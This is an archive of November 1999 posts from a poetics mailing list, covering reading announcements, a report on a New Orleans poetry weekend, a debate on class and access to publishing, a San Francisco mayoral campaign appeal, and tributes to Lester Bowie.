"experimentalism" took with the crowd it went on being used in all the absurd ways that i was hoping to sheer off it for the rest of the symposium

Randy Prunty gave a talk about his othersense poetry and then read an othersense piece with participation from several audience members (Bill, Hank, Skip, Andy, Camille) --- his was i think the most interesting of the talks as almost alone among them it presented a context of ideas about actual poetic work and then gave an example of this work ---- the participants also had a number of interesting responses to the effect that theyre participation had on them and their reception of the poem

A. di Michele's talk was also pretty interesting and he came the closest to blurring one's ability to say this is poetry and this is talk about poetry time the night prior to this and i was really pretty blown away by the readings he gave during this talk at the reading that night and especially the next day at the maple leaf bar ---- in the symposium he said something about the state where one creates write poetry and about not about how to get there or ways to get there but about "waking up in it" --- i wish i cd recall exactly how he said this...

there were more symposium talks that i should try to recount but now i gotta do WORK (jeez)

.out

)ohn

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208. **Pritchett,Patrick**

Re: Left Hand Reading for 11/17 @ 9:00 pm

Tue 9 Nov 1999

> *LEFT HAND READING SERIES PRESENTS:*
>
> *JOE AMATO*
> *&*
> *KASS FLEISHER*
>
> *Wednesday, November 17 at 9:00 pm.*
> *Left Hand Books is located at 1825 Pearl Street, Boulder, between 18th & 19th, above the Crystal Market.*
>
> *Free & Open to the public. A donation is requested.*
>
> *Open reading to precede featured readers.*
>
> *JOE AMATO is the author of a book of poetry, "Symptoms of a Finer Age," and a critical-poetic work, "Bookend: Anatomies of a Virtual Self." His*

> *poetry, prose and scholarship have appeared in Postmodern Culture, Denver Quarterly, New American Writing and many other journals. He has recently completed a new manuscript of poetry, "Lake Affect," and a memoir, "No Outlet." He is Professor of Creative Writing at the University of Colorado, Boulder.*
>
> *KASS FLEISHER has written two novels: "Edla, Small and Waving," and "Blue Blazes to Dead Woman Hollow." She has completed a critical memoir about the experiences of middle class women in academia, "Suffer Not A Woman." Her essays and reviews have appeared in Z Magazine, American Book Review and Postmodern Culture, among others, and her fiction has been awarded annual prizes from The Dickinson Review and Plainswoman. She is adjunct professor of English at the University of Colorado, Boulder.*

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209. **Taylor Brady**

Re: phonaesthetic

Tue 9 Nov 1999

Sorry for the glut of postings, but I thought this might be of interest to someone. Full information on the LaBelle and Roden anthology I mentioned in my last response to this thread follows:

Site of Sound: Architecture and the Ear. Edited by Brandon LaBelle and Steve Roden. Errant Bodies/Smart Art Press, paperback + CD.

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210. **Brent Long**

Re: Ammiano for Mayor (SF)

Tue 9 Nov 1999

List,

Can somebody please explain to me what the political candidates in SF have to do with poetics in Boston, or anywhere for that matter? If I want to hear candidates be plugged by those who support them, I'll just shoot on up to New Hampshire for the primary.

I've been quietly watching some of the threads coming through here regarding the advertising, political debate, and general mental masturbation that the list seems bogged down with lately, but this one really irked me.

Where are the poetics in threads devoted to insult, ego-battles, and mayoral debates? Perhaps I'm missing something...

Brent

From: UB Poetics discussion group
[mailto:[redacted]]On Behalf Of Taylor Brady
Sent: Monday, November 08, 1999 7:04 PM
To: [redacted]
Subject: Re: Ammiano for Mayor (SF)

Ron,

Thanks for sending this -- voting for Ammiano is the first time I've participated in electoral politics (outside of union elections) and felt good about it the day after. Being a recent arrival, and living in one of the city's more left-leaning neighborhoods, I don't have any very accurate way to judge how the runoff might go -- but based on bus-stop talks, running into people at tenants' meetings, pizza joints, et al, the support for Tom seems to be far deeper than the Chron/Ex "don't worry, Mr. Fisher, it's just a protest vote" line would seem to indicate. Of course, my live-in landlord -- who rakes in $1250 a month for the single room my wife and I share -- walked in on a conversation I was having with a friend touching on Ammiano's campaign, and delivered himself of a fairly histrionic litany of reasons not to vote for the "gay Mao." I wish I were exaggerating here, but to see how apparently acceptable as public discourse this sort of homophobic red-baiting has become (once again) since Ammiano's showing on election day, take a look at today's Chron editorial cartoon, which depicts a man and woman, presumably a hetero couple, looking at an Ammiano campaign poster: MAN: "How can I vote for him? He's a...you know..." WOMAN: "Yeah. Marxist."

So we have something of a struggle on our hands, and the call for contributions is certainly apropos. As would be, perhaps, more letters to the editor like today's, which asks the pertinent question why Willie Brown's sexual profile hasn't been attached to his name as a de facto part of his job description.

Taylor

From: UB Poetics discussion group
[mailto:[redacted]]
On Behalf Of Ron Silliman
Sent: Saturday, November 06, 1999 5:44 AM
To: [redacted]
Subject: Ammiano for Mayor (SF)

Some retro carpet-bagging on my part here. Tom Ammiano has made the mayoral runoff in San Francisco against Willie Brown. Brown has long been a social liberal who has used that stance to front for the most rapacious developers who've driven SF into a place where rental units now run $1,000 per

month per bedroom (a far cry from the $350 I and my roommates paid in total for our 7-bedroom house in "Baja Pacific Heights" in the 1976-78 period).

Ammiano is a stand-up comic who first got active in politics by pushing to protect the rights of gay teachers in the mid-1970s. He's currently the president of the county board of supervisors and ran a write-in campaign that garnered 25 percent of all votes with just $20,000 (compared to Brown's 39 percent thanks to a budget of $2.3 million). Voters ejected ex-mayor/ex-police chief Frank Jordan and political consultant Clint Reilly from the run-offs, two relatively conservative politicians who got 29 percent of the vote.

Those of us who remember the late Harvey Milk are enheartened by a demonstration that populist politics need not be the know-nothing libertarianism of, say, a Jesse Ventura.

You don't need to live in San Francisco to benefit from Ammiano's election in the December election.

And you can help!

Call [redacted] or e-mail [redacted] to volunteer and help make history.

If you would like to make a contribution, send a check made payable to "Tom Ammiano For Mayor" to:
Ammiano for Mayor
125 Upper Terrace
San Francisco, CA 94117
(if donation is $100 or greater,
specify your occupation & employer)

FPPC ID # 990924

Ron Silliman

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211. Richard Dillon
Re: Business, class, access (fwd)
Tue 9 Nov 1999

BUK!

Charles Bukowski.

That's it.
>From: [redacted]
>To: [redacted]
>Subject: Re: Business, class, access (fwd)

>Date: Fri, Nov 5, 1999, 1:57 PM
>

> *---------- Forwarded Message: ----------*
> *From:* [redacted]
> *To:* [redacted]
> *Subject: Re: Business, class, access*
> *Date: Fri, 05 Nov 1999 18:55:29 +0000*
>
> *Again, this response brings with it a massive load of assumptions about *me* and where I have and haven't been. And you are simply kidding yourself if you think that class has nothing to do with access to time to write, educational opportunities, access to literary communities, access to the Internet, access to publications and being published, time to read, money to buy books, money to publish books, etc.*
> *Hurray for the steelworker who published a book. What does this prove? Is this the exception to the rule?*
> *And why is it that when folks speak up about class in poetry communities they are immediately accussed of being "victims" "whiners" etc.? Is this how you respond to racism? Or does racism exist, and classism doesn't? Get real.*
> *Kathy Lou*
> *David Baratier:*
> *There are many publishers outside & on this list who do not use the perpetual victim stance or "have not" status you are attributing*
> *to the lower classes*
>
> *KL:*
> *Question: How does bringing the power of analysis to bear on a situation,*
> *speaking out about it, and producing works in response to it constitute being a "victim"?*
>
> *Answer:*
>
> *Are you asserting that you are analyzing the situation? Throughout your posting you blame a social construct as a way to position yourself. The implication of-- "I get very tired of this because money does buy access: more time to write, money to publish one's own journals and books, which in turn increases both community as well as publishing opportunities for one's own work by increasing your 'profile' and 'reputation.'" ---is that your working class background does not allow you to go beyond the societal expectation inherent in class structure.*

> *"Publication being determined partly by who you know" The implication that one cannot "know" anyone without ludicrous jacksons hits me as another oppressive class myth. I know a guy who was a steelworker when tri-quarterly published his first book. I know a guy who works in a cranberry bog for numerous months each year, who is well published & one of the latter half of this centuries best poets. And so on--*
>
> *"There's a lack of access to the Internet, where one can hobnob with publishers and magazine editors" Yet another victim statement. Interested folks can go to the library for free, as mentioned.*
>
> *While not all of these quotes are yours, Kathy, as you also say, "the quote from Bobbie implicates both Bobbie & myself, in a way laying things bare, and saying, yup this is how it works." My question is, in what way are you a reliable source for what occurs in the upper eschelons of poetry if you have never been there? I also add, as a person whose income is negligible, that I have not personally experienced the insinuated discrepancies described.*
>
> *Be well*
>
> *David Baratier*

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212. **Kathy Lou Schultz**

Re: Business, class, access

Tue 9 Nov 1999

During this recent discussion on class I have been accused of being a "victim" of "making excuses" and of being "a spokesperson for persons who sort lettuce." That these are all personal attacks is significant, as well as tiresome.

I teach about, write about, speak about, and research working class writing. In none of these instances have I made excuses, been a victim, or acted as a spokesperon for lettuce sorters.

I'm sick of unfounded personal attacks that deflect from any actual arguments being presented. Many of these attacks are thinly-disguised veils for a dangerous political conservativism which blames people for their own struggles within the class system.

If anyone cares to know what I have to say about class and what I have written about it, please feel free to read my essay on working class poetics from tripwire that is now

online at HOW2, or read recent poetry in "Genealogy" from
a+bend press. I have also contributed to publishing
working-class writing in the journal I co-edit, Lipstick
Eleven, as well as in the HOW2 Forum. I am posting these
URLs for easy access to Listees as it is evident that
futher postings to the list on this subject are useless
and I've had enough.

Essay
http://www.departments.bucknell.edu/stadler_center/how2/
current/alerts/schultz.html

Forum
http://www.departments.bucknell.edu/stadler_center/how2/
current/forum/index.html

Excerpt from Genealogy in Idiom (issue number five)
http://www.idiomart.com/issues.html

Kathy Lou Schultz
> I disagree with the idea of class limiting my opportunities to be
> published. It has not. If writing is important, a way to survive will be
> figured, in my experience. The use of the bog or steelworker is not an
> exception by any stretch of the imagination. And that others have
> programmed you to believe any instance of a writer with a working class
> background getting published is a phenomenon, perhaps is more indicative
> of your vantage point or associations. For me it has been more of the
> rule and I can think of many other examples, including myself. Almost
> all of the peoples books I have published fit this category as well. If
> you want some kind of a useful discussion, as you claim for, it would
> behoove you not to be so irrelevant and snide in your comments.
>
> My belief is not that one needs to "pull themselves up by the
> bootstraps" to remove poverty from the equation, as you have typified
> it. Rather, finding, to quote Will, "the imaginal power to leap beyond
> the brutally imposed confines to combat the bureaucracies with an
> elemental seismics, with a new and alien thinking" does not require a
> monetary amount beyond a lower class income, but a desire to have change
> as an primary element of what one does. Will does not name the "brutally
> imposed confines" in his writings and neither do I. A force to work
> against without the naming process supplies the energy without the
> denegrative state of reverse labeling. Upon saying who I am, in person,
> perhaps these ideologies of opposition become less opaque, but this is
> not a requirement to understanding. Desire and priority are the missing

> aspects-- as with many I've placed writing first, done a survival called
> the necessary, in whatever method has worked-- rather than point to my
> class upbringing or ethnicity as a justification.
>
> I find, as someone who has a lower class income, that your assessment is
> inaccurate. I felt your mass categorization of the lower classes was not
> one fitting to myself or many of the writers in the same situation I
> know closely. It is unfortunate that many believe they do not have
> access to the things you list below. This unfounded belief perpetuates
> itself in not having these opportunities become manifest. That classism
> exists, I agree. When it is used as an excuse, whether to defend one's
> choices, supposed lack thereof, or to support poorly written work, its
> utility is worthless.
>
> PS-- Thanks Robin.
>
> Be well
>
> David Baratier
>
> Again, this response brings with it a massive load of
> assumptions about *me* and where I have and haven't been.
> And you are simply kidding yourself if you think that
> class has nothing to do with access to time to write,
> educational opportunities, access to literary communities,
> access to the Internet, access to publications and being
> published, time to read, money to buy books, money to
> publish books, etc.
> Hurray for the steelworker who published a book. What does
> this prove? Is this the exception to the rule?
> And why is it that when folks speak up about class in
> poetry communities they are immediately accussed of being
> "victims" "whiners" etc.? Is this how you respond to
> racism? Or does racism exist, and classism doesn't? Get
> real.
> Kathy Lou

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213. **David Kirschenbaum**

Booglite issue two: Poetry as Cultural Critique

Tue 9 Nov 1999

Now available:

Booglite issue two: Poetry as Cultural Critique, 1999
David Kirschenbaum, editor and publisher

Zine published in conjunction with Poetry as Cultural Critique symposium, University of Minnesota, November 5-6, 1999.
Co-directors, Maria Damon and Mark Nowak.

General run of 100 copies:

16 pages, + 4-page ivory cardstock cover wrap—with xerographic reproduction of full-cover linoleum block print by Daisy DeCapite. Saddle-stapled. $6ppd.

Limited edition of 26 copies (15 available):

16 pages + 4-page rust cardstock cover wrap--with full-cover original black w/silver linoleum block print by DeCapite. Hand-sewn and lettered A to Z. Each zine has an ivory tip-in sheet signed by the authors--Tim Brennan, Damon, C. S. Giscombe, Roy Miki, Harryette Mullen, and Juliana Spahr--and cover artist. $12ppd.

Checks payable to:
Boog Literature
351 W.24th Street, Apt. 19E
New York, NY 10011-1510
email: [redacted] tel: [redacted]

Features poetry and paper excerpts from:

•Brennan, a professor at the University of Minnesota. He is the author of At Home in the World: Cosmopolitan Now (Harvard, 1997) and the forthcoming Music in Cuba (U. of Minnesota, 2000);

•Damon, a poetry and poetics professor at the University of Minnesota. She is the author of The Dark End of the Street: Margins in American Vanguard Poetry (U. of Minnesota, 1993) and a member of the National Writers' Union;

•Giscombe, author of numerous books, including Giscome Road (Dalkey Archive, 1998) and Two Sections from Practical Geography (Diaeresis Press, 1999). He is an English professor at Pennsylvania State University;

•Miki, a professor at Simon Fraser University. He is the former editor of West Coast Line (1990-99) and has edited The Collected Poems of Roy K. Kiyooka (Talonbooks, 1997). His most recent publication is a collection of essays, Broken Entries: Race Subjectivity Writing (Mercury Press, 1998);

•Mullen, the author of four books of poetry, most recently Muse & Drudge (Singing Horse Press, 1995). Her first book, Tree Tall Woman (Energy Earth, 1981), will be out in a new edition by Bucknell University Press. She teaches English and African American Studies at UCLA; and

•Spahr, a continental haole who teaches at the U of Hawai'i, Manoa. Her recent books are Response (Sun and Moon, 1996) and Spiderwasp or Literary Criticism (Spectacular Books, 1999). A book of creative writing, Fuck You-Aloha-I Love You (Wesleyan) and a critical book, Everybody's Autonomy (Alabama University Press), both tentatively titled, are forthcoming.

Booglite is published periodically by Boog Literature. Boog always reads work for Booglite or other consideration (send SASE with no more than five poems or pages of any type of art or writing).

Boog Literature publications are edited and published by Kirschenbaum.

Email or SASE for Boog catalog.

As ever,
David

_____ Get FREE voicemail, fax and email at http://voicemail.excite.com Talk online at http://voicechat.excite.com

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214. Nielsen, Aldon
readings in Los Angeles
Tue 9 Nov 1999

Andrew Joron and Spencer Selby will read next Thursday, Nov. 18 at:

Hilton 300 A & B
Loyola Marymount University
7900 Loyola Blvd.
L.A.

8:00 P.M.

for info. call me at [redacted]

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215. Lowther, John
Weekend in New Orleans (part 2)
Tue 9 Nov 1999

{ p o e t i x }

CAGEAN MOMENT

night of the 6th, Bill Lavender had invited all the crowd at the readings to descend on his house for a party and many did come but Bill's partner Nancy had been at some kind of stuffy-semi-formal thing and she'd invited all these folks to blow off steam by coming to back home too so the crowd was curiously mixed ---- and the place was slammin' --- wall to wall everywhere and a bit much for me afer a time and so i ducked into the back beg room where Skip Fox was also hiding out and we sat there and listened to the gabble of voices raised in rooms on every side of us and out on the back porch too ---- it was an amazing sound ---- there was no music playing just lots of people talking and laughing and holding forth and while i've heard that sort of sound before this time it was somehow unique, perhaps the fact that i sat in a room shut off from that making it easier to resolve into a thing of occassional waves but mostly bursts and clashes ---- i ran out of the room to get randy after awhile but the initial push and volume was lessened by then as the party had thinned a bit or dispersed some and i also asked bill if he had a tape recorder but alas

MEETING POETS

and this darkened room where the voices gabbled then did turn towards discussion as Skip Fox and i started talking about this and that and one of the things that came up most clearly, i think, to both of us, is that having poetry is a great start on having common ground --- Skip and i are separated by some 20 years difference in age, very different taste in metaphors (when speaking of our work etc) and very different lives but were able in very little time to get to know each other and to get to serious talk about what it is we both care about ---- something i can only attribute to poetry as i've run into devotees of klezmer music previously and not had this happen, encountered others in bands when i was a band guy, run into lots of people with similar interests and fascinations etc etc and while i've often had a good time finding these things out and meeting these people it seems that in the poetry world i've found this much more to be the case

THE READING

Joel Dailey was pretty great at this event --- he had a way of weaving talk in between the poems such that both were elevated by the process, his reading style or skills or whatever were top notch as well

Mike Sarki's reading was curious, he started by reading the foreward to his book (written by gordon lish, his teacher) wherein tis written "there are only two poets for me, Stevens and Sarki" ---- this line crops up in something of a tough-guy appreciation and struck me as really fucking strange ---- i mean, it's nice to have someone say nice things about you ? that's a bit wierd and Sarki seemed to have a firm feeling that he was a an outsider and didnt belong

amongst all us academics (like me ? not.) ---- but when he actually read his poems i thought they were kinda interesting --- not really sure where all the oppositional chip on shoulder stuff came from tho

Bernadette's reading was also pretty great and she brought Phillip Good out of the audience to do a dialogue poem in which Phillip played the part of "House" and she played herself ---- it was fun and funny and made us all laugh

Camille Martin read some phonetic (homolinguistic) translations of Oppen and they had a sly slipperiness about them that i liked, tho, spoiled by our local practice, i'm always disappointed that i don't have the text in front of me --- which is something that wd have heightened my appreciation of many of the readers i'm sure

everyone said i did fine and i guess i believe them but i had this odd sensation as i read --- 1st that i was off pace somehow 2nd that i might have been mispronouncing or blowing lines but that i wasnt sure as i was busy paying attention to the sense of pace --- about half way into my thing i felt like it started to click tho

Bill Lavender read seemingly as an afterthought and i liked the piece and his reading, while it was maybe not the show stopper it had been in Tuscaloosa some months back

THE STREETS

of new orleans are nuts --- every intersection cracked and humped by the settling of the land -- the swamp repressed beneath it --- but it's a city that need no additional speed bumps in residential neighborhoods

)ohn

↑ Index

216. Jill Stengel
Re: Business, class, access
Tue 9 Nov 1999

---

after reading david baratier's recent post in response to kathy lou schultz's response to him (etc),

i am left with this thought that is glaring in my head, hard to shut off, shove away. so i'll just go ahead and say it. even tho it's obvious...

the experience of class is different for women and men, as women also have to contend with sexism, men do not.

(and then, of course, there are many other isms that can show up too...) multiple -isms seem to have a geometric rather than simply additive effect.

there ARE drawbacks, disadvantages, when one is outside of the privileged classes. access to many opportunities IS limited-- --and david, it's great for you that you haven't found it to be so, but by saying it's not true for others, it ignores/erases the efforts people make every day to "overcome," or simply live with, what they/i/we/you (am)are faced with.

this doesn't mean that things can't be done, that opportunities don't exist, it means simply that there are more obstacles, and that desire to overcome or integrate, live with, these obstacles has to be very strong. (and sometimes the will is still not enough.)

there are always those people who are able to do what they will anyway, despite disadvantages
...and those with advantages who fail repeatedly...
--this does not change the facts: that advantages and disadvantages do exist; and, in our culture, money is usually the force that tips the scales.

btw, i didn't see kathy lou using class as an excuse for anything...rather, as a framework for understanding.

further btw, i don't think i agree with the idea of "A force to work against without the naming process supplies the energy without the denegrative state of reverse labeling."
i like to know what i'm dealing with.
naming helps to define, clarify.

thinking about this more...
jill stengel

↑ Index

217. Nielsen, Aldon

Fwd: INFO: trumpeter lester bowie dies -- tribute in harlem arts journal

Tue 9 Nov 1999

> *From: [redacted]*
> *Date: Tue, 9 Nov 1999 16:39:02 EST*
> *Subject: INFO: trumpeter lester bowie dies -- tribute in harlem arts journal*
> *To: [redacted]*
> *X-Mailer: AOL 4.0.i for Mac sub 189*
>
> *Dear Kalamu,*
> *I thought cyberdrummers would want to know about the death from liver cancer of this monumental artist. Lester was aware that he had a short time to live, but continued touring Europe with his group Brass Fantasy. A few weeks ago, he became seriously ill in London and was hospitalized. Upon his return to New York, his health deteriorated rapidly. The tour will be*

> *continued after memorials are completed with his brother trombonist Joseph Bowie as leader. There are several jazz websites which discuss Lester's magnificent career. I advise everyone to use the keyword "jazz" in their search.*
>
> *For those interested, the fall 1999 issue of the Harlem Arts Journal features interviews with Lester, Olu Dara and Russell Gunn, in an article entitled, ironically enough, "Surviving the Trumpet." For those interested, a subscription page is attached to this e-mail. In the article, Lester discusses his origins, influences and the cultural stasis he perceived occurs when record companies usurp too much control vis a vis the evolution of black music. It is a wonderful piece, and I am so blessed that we had a chance to talk.*
>
> *Best wishes in your continued efforts on this wonderful site!*
>
> *Ruth-Miriam Garnett*
> *Publisher, Harlem Arts Journal*

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218. **pete spence**

Re: Business, class, access (fwd)

Tue 9 Nov 1999

> *From:* [redacted]
> *Subject: Re: Business, class, access*
> *Date: Fri, 05 Nov 1999 18:55:29 +0000*
>
> *Again, this response brings with it a massive load of assumptions about *me* and where I have and haven't been. And you are simply kidding yourself if you think that class has nothing to do with access to time to write, educational opportunities, access to literary communities, access to the Internet, access to publications and being published, time to read, money to buy books, money to publish books, etc.*

i remembwer well i was doing a 12 hour nite shift driving a forklift in the 80's , and while i was at it wrote this little ditty:

TOUR

abroad on the paddle
splashes into harbour
tries luck and gains six overcoats
with sunshine between the stars

a parenthesis ladles the tune
relaxing on a Li-Lo reading Li Po

under some amended weather
tumbling sunshine

breathes a moment
makes an X on a relief map of a cloud
with wax in his ears
his thought keeps

always thought Penumbra was a month
in a template climate
zoned temporate
where the toucan can rest his jaw

postcard wednesday: toured a tourist bus
found where callouses come from
added a hurricane to tour (not in brochure)
mended paddle

pete spence

if you can't have a tweak of fun while you are working then you might as well sleepwalk!!!!
>

_____
Get Your Private, Free Email at http://www.hotmail.com

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219. **Joe Amato**
Re: Business, class, access
Tue 9 Nov 1999

david b, i think i find mself on the opposite side of the table from you, and sitting next to kathy lou, when it comes to this issue of class... and i think you know this (based on SO many of my posts to this list in the past, dealing specifically with this issue)... so i hesitate to try to persuade you of my way of looking at things, esp. b/c i regard my way of looking at things as opening to some relatively elemental and utterly urgent realities... but what the hell, it's twixt friends, or virtual friends, or acquaintances, or whatever... so i'll give it a whack, and i'll be deliberate...

you speak of "classism" as something that "exists"... not an esp. strong claim, from where i sit... but my question would be, how does it exist? and why does it exist? and esp., in the context of what i would loosely call, a tad archaically, *the writing life*...

of course there's all sortsa room here for idiosyncracies, but---

and of course i believe that most writers will ultimately, *should* ultimately find a way to write, but---

these allowances don't in themselves obviate a discussion of (e.g.) class-based struggle... say, as it relates to writing process and product, but also as it relates to our perceptions of what we are about as writers...

if classism exists, then i take it class too exists, right?... i mean, there *are* economic classes, right?... and one's entrance into---or exclusion from---such classes is not entirely within one's (individual) control, yearn or aspire or endeavor or resist as one may-----right?... (i won't go into that class item most frequently discussed hereabouts---that of the shifty-ness of class markers)...

ok: if i aspire, say, to $60K per annum (among other aspirations) i probably better figure on doing something besides just writing poetry, right?...

(oh hey---i'm not ashamed to say i aspire to $60K/yr either, anymore than i am of aspiring to write poetry)...

further, if i decide to write poetry, whatever my economic aspirations, this latter decision will impinge upon my life *somehow*, right?... given that money doesn't grow on trees, i might find---in all likelihood, i probably will find---that the demands relating to making ends meet do not coincide, neatly or productively (at least, not all of the time, perhaps not most of the time), with the demands of writing... right?...

or to borrow from williams (_paterson_ book iii, part ii), albeit to my own class-specific ends:

> The writing is nothing, the being
> in a position to write (that's
>
> where they get you) is nine tenths
> of the difficulty; seduction
>
> or strong arm stuff. The writing
> should be a relief,
>
> relief from the conditions
> which as we advance become -- a fire,
>
> a destroying fire. For the writing
> is also an attack and means must be
>
> found to scotch it -- at the root
> if possible. So that
>
> to write, nine-tenths of the problem
> is to live.

spoken by an m.d., yep... so, everything in my life (in *my* life, mind you david) tells me that "to live" is, in an important and (again) utterly urgent sense [the one having to do with earning a living such that doing same supports my writing---which in my view i deal with on a daily basis], an economic issue... hence (if i may) a class issue...

none of this is absolute or inevitable, no, and surely some of this is a matter of emphasis (among other things)... but in some sense one might observe that *it may as well be* absolute and inevitable, david... b/c that's how the world is constructed, no?---or so it seems to yours truly... and if it seems so---to me, e.g.---sometimes and in some ways (at least) it probably *is* so, ain't it?... and that it seems so is, at least, itself a mark of the classism to which you refer, yes?...

unless i'm hallucinating, i mean, and unless i've been hallucinating for lo these many years... always a possibility, sure...

BUT i'm not sure, in all, why you would resist the class issue as a writing/publishing issue, in the very terms kathy lou has introduced... i don't think the "urgency" i point to suggests evangelical fervor, either, and for that matter, i didn't 'hear' same in kathy lou's posts... in all, the effect of yours and others' resistance on this count, it seems to me, is to move "us" away from a willingness to deal with class specifics (and associated complexities, incl. btw intimacies of various sorts, as well as this question of how the biz of poetry relates to the practice of same)... that is, resistance here, even outright skepticism, has the effect of helping to shut down what appears to me to be an entirely reasonable and entirely necessary exchange (and of course you're not alone in such resistance either---i mean, if i'm picking on you a bit here, and i am, i could as well have picked on stephen ellis, pleased to make your acquaintance stephen)...

: we can, some few of us, just get on with it without your participation as such, i know... hence in no sense is your resistance to be understood as the "final word" or some such (anymore than is *this* post to be taken as a hostile intervention)... but as class is, like classism, difficult to discuss for many of us (though perhaps not for you), we're just as likely to say to ourselves, when greeted by such skepticism, *why bother?*... again, disagreement is one thing, but some of what passed before my eyes of late appeared to me either to be dismissive of kathy lou's concerns, or to be asking of kathy lou that she *defend* her assertions (stephen's opener "hits a particular nail square on the head, but doesn't drive it anywhere" a case of the latter, i think, and your "[t]his unfounded belief perpetuates itself in not having these opportunities become manifest" heading distinctively toward the former)...

and if this post provokes a "why bother?" reaction in you, david (or stephen), my apologies---and i mean it... as in so many recent exchanges "around here," it just seems to me that the conversation has become unnecessarily contentious precisely when a bit less skepticism and a bit more goodwill might have produced some insights, and might have drawn (some of) us a bit closer together in the process, if only for a moment...

i only wish i could have said all this with sense of humor intact...

best,

joe

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220. Alan Sondheim

imanopagun lleraze why ...

Tue 9 Nov 1999

-

imanopagun lleraze why e uranantu sald dffirous th mtyllfu odka rarf ani- mop lraleunag wzehyrantna u esau ldirs ouff d mthty oclrtfulldi, rtawac ecl, oth heee bd,blr eaenth hgianhe t mngan isos it, la bckdieaf e wchw- aebth,e d olrbte hhaen natee iahgningiss mt,keoc c s hee'tan simwa jt us- ngyiovabe clinaw, usatg ool, es hur'rwee eawld dasbna 'cis ewm hatei snav- estbo aygs,ju ut ilawng c oaruhee,l'swro aess s e sh iheyssa aihaae s deh- sds e dark panorama in gully where azure and alan stuff dirty mouths full of ardk ra imanopagun lleraze why e uranantu sald dffirous th mtyllfu ort- cl, dirt, claw each other, bleed, beneath the hanging man, it is so black we dif eawacheblr oth d,ee bthhe teaenan hgianit, mngs isocke can't see him swaying just above us, clawing at our holes, we're as dead wla bn'cat hiswm e seinayg avebostjus, u cngt awilar ouho wree's,les as he is, she says ades ihe aadshs e ar dk ra

---

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221. Todd Baron /*/ ReMap Readers

Re: contact info request: Ronk/Vangelisti/Phillips

Tue 9 Nov 1999

Brian Lennon wrote:
>
> Are you out there, or anyone have contact info for:
>
> Martha Ronk

> Paul Vangelisti
> Dennis Phillips
>
> ---or anyone else affiliated with Littoral?
> It's about a review of _Alphabets_.
> Backchannel, thanks.
>
> Thanks
> Brian Lennon

write me

I help found the press tho no longer work with them.

Todd Baron

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222. Toni Simon and Nick Piombino

phoneaesthetic

Tue 9 Nov 1999

Dear Kevin Hehir,

Although the two books I am recommending have been mentioned before on this list, perhaps you missed them. Both may be of interest to you on this topic:

"Close Listening: Poetry and the Performed Word" edited by Charles Bernstein (Oxford University Press, 1998), which includes, "Letter on Sound" by Susan Stewart, my own "Aural Ellipsis and the Nature of Listening in Contemporary Poetry", "Voice in Extremis" by Steve McCaffery, "Sound Reading" by Peter Quartermain, among many others.

"Sound States,Innovative Poetics and Acoustical Technologies," edited by Adalaide Morris, (University of North Carolina Press, 1997), which includes "Voices out of Bodies, Bodies out of Voices:Audiotape and the Production of Subjectivity" by N. Katherine Hayles, "The Music of Verbal Space" by Marjorie Perloff, "Poetry's Voice-Over" by Jed Rasula, among others.

Both books contain bibliographies which may be of interest, Sound States comes with a CD.

Best wishes,
Nick Piombino

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223. **Brent Cunningham**
Re: phonaesthetic
Wed 10 Nov 1999

Taylor Brady wrote:

> *Work by Reuven Tsur and Garrett Stewart might be of interest here -- neither, though, without their problems (especially Tsur, who almost seems to insist on a kind of transcultural, transhistoric "legibility" of the onomatopoetic qualities of vowel sounds. But worth looking at as one example of how the universalist hopes of a certain strain of Moscow/Prague linguistics [one recalls Jakobson's commitment to Khlebnikov and the project of zaum] can be leaned on and pushed into a more recuperative mode by more recent practitioners).*

While I agree with the thrust of Taylor's point here, I'd also add my hope that no one will forgo reading Khlebnikov due to his more-difficult-to-recuperate views of phonemic universalism. K.'s ideas about language remain, as I'm sure Taylor will grant, extremely compelling and suggestive for reasons outside the fact that they proved utter failures in the linguistic laboratory (more accurately, that they had no hope of being seriously admitted in the first place).

Like with his visionary & universalized sense of time (derived from his near-mystic belief in eccentric numerologies), it seems important to place Khlebnikov's understanding of sound in a historical context, and to recuperate it in that way--not as a part of a mathematical or linguistic telos, but by seeing it as a lived artistic engagement. K.'s belief was that he had invented or discovered a phonemic universalism in zaum that was specifically not described by Symbolist theory, nor by literature derived from Eastern Orthodox religiosity. In other words, his was a universalism markedly different from the going artistic universals of 1910-1917 Russia, and much of its energy derives from K.'s sense that a new worldview was needed in the face of a multitude of crumbling universals. No one that I'm aware of was proposing relativities.

None of this helps with hard research into phonaethetics-as-science since Khlebnikov was primarily a poet. Which is really part of my point here. Although K. did problematize the "poet" category rather diligently and dramatically, I still think that the metaphorical/metonymic qualities of his thought really are, and should be, privileged over its verifiable/predictive qualities. It's true that Khlebnikov saw mathematically-describable (hence "universal") patterns everywhere, including in phonemes, but the stress is always on the idea that "there are patterns" and not on the specific types of patterns Khlebnikov saw (such as his belief that there are universal spatial qualities to particular phonemes). As in the Paul Schmidt translations, K. saw himself as an "inventor/explorer" (which he opposes to "investor/exploiter") rather than someone with the kind of methodological & academic commitment

of a Jakobson--though, again, Khlebnikov makes it difficult to slice the two worlds into components.

In short, then, my sense is that we might be able to productively distinguish here between types of universalisms--linguistic, mathematic, artistic-metaphoric, sociological, biological (all containing their own subdivisions and their own histories, no doubt). This might also keep us from a too-easy conflation of Jakobson's argument in favor of universal linguistic patterns with, say, the Cartesian transcendent ego, or with Roussau's understanding of speech . . . (approx. Derrida's position in OF GRAMMATOLOGY--and here's hoping Derrida isn't on this list since I've now officially gone beyond my knowledge & abilities).

Brent Cunningham

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224. Robin Tremblay-McGaw
class again
Wed 10 Nov 1999

But David, I'm also 100% in agreement with Bob Gluck's "Every poetics is a poetics of class." What we're trying to do here is bring some awareness to the issue, "in thinking about a poetics of class that knows itself" (Bob Gluck again). I'm also 100% in agreement with what Kathy Lou has said about the multiple ways in which class influences everything about writing and its availability in the public sphere. Robin

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225. Ron Silliman
Lester Bowie
Wed 10 Nov 1999

The great Lester Bowie has died.

NEW YORK (AP) -- Lester Bowie, a jazz trumpeter who was a founding member of the long-running Art Ensemble of Chicago, died Monday from complications from liver cancer. He was 58.

The group has played the United States and Europe for 30 years.

Bowie, who also played the fluegelhorn, was known as a flamboyant performer with a sense of humor and an appreciation for the theatrical side of performing.

_____

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226. Taylor Brady
FW: Lester Left Town
Wed 10 Nov 1999

